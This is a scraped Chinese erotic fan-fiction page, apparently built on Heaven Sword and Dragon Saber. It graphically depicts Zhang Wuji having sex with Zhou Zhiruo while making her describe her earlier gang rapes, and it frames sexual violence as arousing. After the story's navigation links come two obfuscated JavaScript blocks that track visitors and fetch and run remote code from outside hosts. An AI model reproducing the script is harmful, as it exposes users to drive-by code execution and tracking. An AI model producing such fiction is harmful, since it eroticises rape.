在船上周芷若是整天全裸的,张无忌当然也不是第一次看见她的穴,但一直都是看见被插得大开外翻,精液倒流的凄惨模样。下船之后,周芷若修身养息已逾十几日,小穴慢慢回复收拢。周芷若的穴本来就是难得一见的明器,虽然之前日日遭人轮奸摧残,但休息一阵子已几乎恢复紧实度,只是实在被操得太多,原本桃红色的阴唇色泽明显暗沈了不少,外阴唇也微微外翻,不像还是处女时紧紧闭合,这些改变却不是可以恢复得了了。

虽然如此,但周芷若如今看起来尚称鲜嫩的小穴,比起在船上张无忌看到的那副惨状差异实在太大了,张无忌现在才明白,女人的恢复力是很强的,而且周芷若还是特强的那一种,其实如果只有一个固定的性伴侣,就算天天操,周芷若的小穴就算到四十岁都还能很紧。

张无忌吃惊的望着周芷若看来肥美的肉穴,肉缝中还不断流出淫液,显示着周芷若也很兴奋,修养过后,周芷若的穴比之赵敏的穴美得多了,只是阴部上的耻辱刺字实在突兀,但对变态的张无忌来说,来羞耻“慰安妇”三次,反而是最棒的点缀。

看着周芷若如此美的穴,张无忌几乎想要去舔了,但想起这穴不知道被灌入都少炮精液过,就不免恶心,于是他伸出手指,探入周芷若的小穴抠弄。

【芷若啊芷若∼你的穴居然这样湿啊∼还遮着脸装害羞呢∼其实你很想要我的肉棒吧?】张无忌伸出手指,已经是满手湿润。

周芷若慢慢放下手,依旧满脸通红,她没有否认,反而自动用手拉开自己的双腿,用行动表示任张无忌为所欲为。

这羞耻的动作,大概已经是周芷若目前最大的尺度了,张无忌很是满意,不过想着经过调教之后,她应该可以做出更淫荡下贱的举动,他已经开始计画了,要将周芷若调教成一位淫妻。

张无忌将肉棒凑近,敲了敲她的阴部,然后用龟头戳弄着阴唇挑逗,想到了眼前这个穴,不久前才被人轮插过并内射,他就无比兴奋起来,无法控制的用肉棒敲打戳弄着她的阴唇。

【无忌哥哥?】感受到张无忌的异样,周芷若不安的问。

【芷若啊∼你说在万安寺有一百位蒙古鞑子上过你,那在船上又有几位上过你呢?】张无忌忍不住问,笑容愈来愈变态。

【二……二十多位吧?无忌哥,你为什么要问呢?】周芷若不安的问。

【那就是一百二十多位了,芷若你的小穴已经被这么多肉棒插过了啊∼】张无忌继续拍打着阴唇。

【无忌哥,你是在嫌弃我吗?】周芷若更惶恐的道。

【不会的∼芷若,我不会嫌弃你,你被愈多人插过,我愈是爱你!】张无忌淫笑道,下身一挺,终于将肉棒挺了进去。

【嗯∼啊∼】周芷若忍不住呻吟起来,即使她已被百多条肉棒插过,但被自己真正喜欢的人插入,感受是完全不同的,她只觉得无比的兴奋,似乎只要张无忌抽动一下她就能高潮了。

张无忌整个人压了上去,将肉棒深深埋入周芷若肉穴,上次插入周芷若的穴时,她刚被轮过,而且是昏迷状态,整个阴道被撑得松开,一点也不舒服,但这次完全不同,周芷若的小穴夹的极紧,淫水丰沛温热湿润,张无忌光是插入就几乎要射了。

【芷若∼你好紧∼】张无忌酥麻道,若不是亲眼见过周芷若被轮奸,他真无法相信这样紧的嫩穴居然已经被百多人操过了,看来周芷若的穴是个名器!张无忌欣喜不已,就算以后将周芷若调教成淫妻,让她被人轮操,也不用担心变松的问题了。

为了抑止射精的冲动,张无忌插入后不敢马上抽动,揉起周芷若的奶转移注意,周芷若的奶似乎比初见时更大了,也不知是还在发育,还是被搓大的?想到上百人曾经揉过这对巨乳,张无忌就兴奋起来,粗鲁的抓揉这对美乳。

周芷若虽然被揉得有些疼,但也产生了些微快感,其实她也是有些受虐的潜质,或者说,在不断被凌辱之下,她对性爱接受的刺激,已经渐渐倾向于被虐了。

张无忌见周芷若没有丝毫抵抗,虽然微蹙着眉头,却掩不住一丝欢愉,更加搓揉的肆无忌惮了,甚至低下头来对她的乳头又亲又咬,淫笑道:【芷若,你这对大奶那些蒙古鞑子都抓过了吧?他们是不是也这样用力的揉呢?】

【无忌哥……芷若……并不愿意给他们揉的,但如果是无忌的话,怎样都可以……】周芷若微微呻吟,她真的被弄的很疼了,但也真的愈来愈兴奋,也不知道到底要不要阻止张无忌这样下去,但想她要尽力取悦张无忌,就说服自己配合下去了。

【芷若你这对奶子真是漂亮,那些蒙古鞑子一定对这对奶子做过各式各样的事吧?他们一定用这对奶子夹过肉棒,还有这么美的腋下,他们也一定夹过肉棒对吧?】张无忌不断挤弄着她的巨乳,一边淫秽的问。

周芷若不晓得张无忌这样问她到底是什么心态,这样问让她感到很羞耻,但不知道为什么居然也感到了一丝的兴奋?想到要全力取悦张无忌,虽然羞愧,她还是回答了:【他们……都做过,他们也都很喜欢我的……奶子……】她不知道该怎样说自己的胸部才比较不羞耻,听张无忌一直用奶子来称唿,虽然觉得颇不雅,但也配合着说了。

见周芷若如此羞愧下体却分泌出更多淫水的反差模样,张无忌知道她真的很有调教潜质,他兴奋的抓着她的大奶,开始一下一下大力的抽插,干得啪吱啪吱响。

【芷若,他们一定很喜欢这样抓着你的大奶干你吧?被蒙古鞑子的肉棒侵入感觉如何呢?】

【他们一定是一起轮奸你的吧?所以你的穴被干着,奶子说不定也被干着,或许嘴也被干着呢?你说是不是啊?】

【他们都是怎样抽插的呢?是像这样吗?你一定也被干到高潮过吧?其实被轮奸你也有感到一丝兴奋对吧?你这淫乱的骚货∼】

因为周芷若夹得极紧,张无忌吃力而缓慢的干着,但每一下都将肉棒退出大半,再用力顶进去,干的又猛又狠啪啪作响,嘴里还不断问着周芷若被奸淫的情景,他就是想看周芷若屈辱的描述自己怎么被轮奸。

周芷若自然不明白张无忌的变态心思,她只道张无忌是吃醋她被许多人上过了,所以抱着发泄的情绪,对她这样屈辱,而不断问自己被奸的情形,只是出于男人比较的心态。

无论张无忌出于什么心态,周芷若都想尽量满足他,毕竟他都愿意做这冤大头了,于是周芷若抱着愧疚的心里,即使羞愧,还是有问必答。

【他们……他们都是一群人一起……一起上的……芷若……都是被逼迫的……一点也不兴奋……无忌哥你是……你是最棒的……他们都不及你……啊啊……】周芷若边沈受着冲击的快感,边吃力的回答,虽然这话是要说得让张无忌高兴,但也算是真心话,因为干着自己的是情人,周芷若特别有感觉,被张无忌干得快感连连,淫水不断涌现,然后呻吟一声,高潮了。

张无忌看着身下的周芷若,因为高潮而浑身直抖,眼睛半眯睫毛直颤,表情销魂的不得了,杏唇微开,一行唾液流了下来,甚至发出淫荡的呻吟,当真是爽到极限。他当然不是第一次看过周芷若高潮了,在船上就看过她被轮奸到泄身好几次,但从来没有出现这么享受而动人的表情,周芷若的嫩穴夸张的抽搐着,淫水狂漫出来,甚至潮吹了,两条美腿抖得快要按不住,阴道剧烈的收缩,按压着他的肉棒让他舒服至极,原来∼这才是周芷若真正愉悦的高潮。

周芷若纯粹是因为跟心爱的人做爱兴奋而高潮,但张无忌却以为周芷若是因为刚刚那一番羞辱的对话而感到兴奋的,等到周芷若终于潮吹完后,张无忌将她的两条美腿擡起,压在她的胸上,抱住她的双腿,整个人压在她身上,一上一下用力的干,像是要将她钉在地上。

【啊啊啊∼无忌哥∼】高潮过后的周芷若还无法抽离那愉悦的快感,马上又被这么刺激的猛干,不自禁的大声喘息轻叫起来。

【他们一定很常用这姿势干你吧?可以干得非常深入,射精的时候一点都不会漏出来,全都会射进你的子宫呢!】张无忌邪恶的笑问,愈干愈是大力。

周芷若被干得迷茫,根本没听清楚张无忌说什么,只是失神的叫着,小穴一抽一抽的,仿佛又要泄身。

【芷若,有多少人射进你的子宫里了?】张无忌愈插愈猛,不断重复问着,周芷若被插的浪荡失神,但也终于听懂了,虽然脑袋几乎一片空白,还是回答了。

【他们……都射进去过了……每个人都……射过……我不知道被射了几次?】说完,周芷若剧烈的颤抖,再度高潮了。

【芷若你真是敏感,这么快就高潮第二次了,被那群蒙古鞑子轮奸的时候也是这样吧?你这个荡妇!】张无忌淫笑着将肉棒退出,用肉棒啪啪拍打着周芷若的阴唇,周芷若的淫水狂涌出来,已经爽得没力气回话了。

张无忌待周芷若泄完,将她整个人抱起,周芷若软绵绵的全身无力,任由他将她抱在腰间继续套干起来。张无忌埋首在她的巨乳中,一手揽住她的纤腰,一手抓着她丰满的翘臀,一上一下大力的套干。

高潮了两次的周芷若全身酥软,随着张无忌的套干晃荡着,半眯着眼愉悦的淫叫,她已经完全投入了,现在她终于体会到性爱的美好。

张无忌的性经验不多,一早就已经快射出来了,只是硬憋着,还有两次的稍微休息,才能忍到现在,看周芷若已经被自己看得媚态尽现,他也不想憋了,抱着周芷若用力扑倒,快速摆荡腰身用力抽动,一轮狂插猛送,最后一捅到底,在周芷若的体内喷发了。

周芷若紧紧抱着张无忌,任张无忌发狂的冲刺,感到他终于射出,双腿一缩,扣住了他的屁股,淫穴一夹,将肉棒死死箝住,让他将精液全射在里面。她感受到大量的精液冲进子宫,她希望就此受孕,只要怀上了张无忌的孩子,那张无忌就更不可能抛弃她了。

张无忌年轻气盛,这一发居然比上一发还要多,足足射了快二十秒才射完,射完之后他满足的趴在周芷若身上,一时还不想将肉棒退出来,周芷若在万安寺被调教出来的夹功实在太厉害,让他觉得自己差点就要被榨干了。

张无忌趴在周芷若身上,玩弄着周芷若的美乳,等待再次勃起,他可不会只射两次就满足,那些蒙古人玩过的手段他全都要在周芷若身上玩过一遍。


上一篇:小苏老师

下一篇:陪老板应酬被公干


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};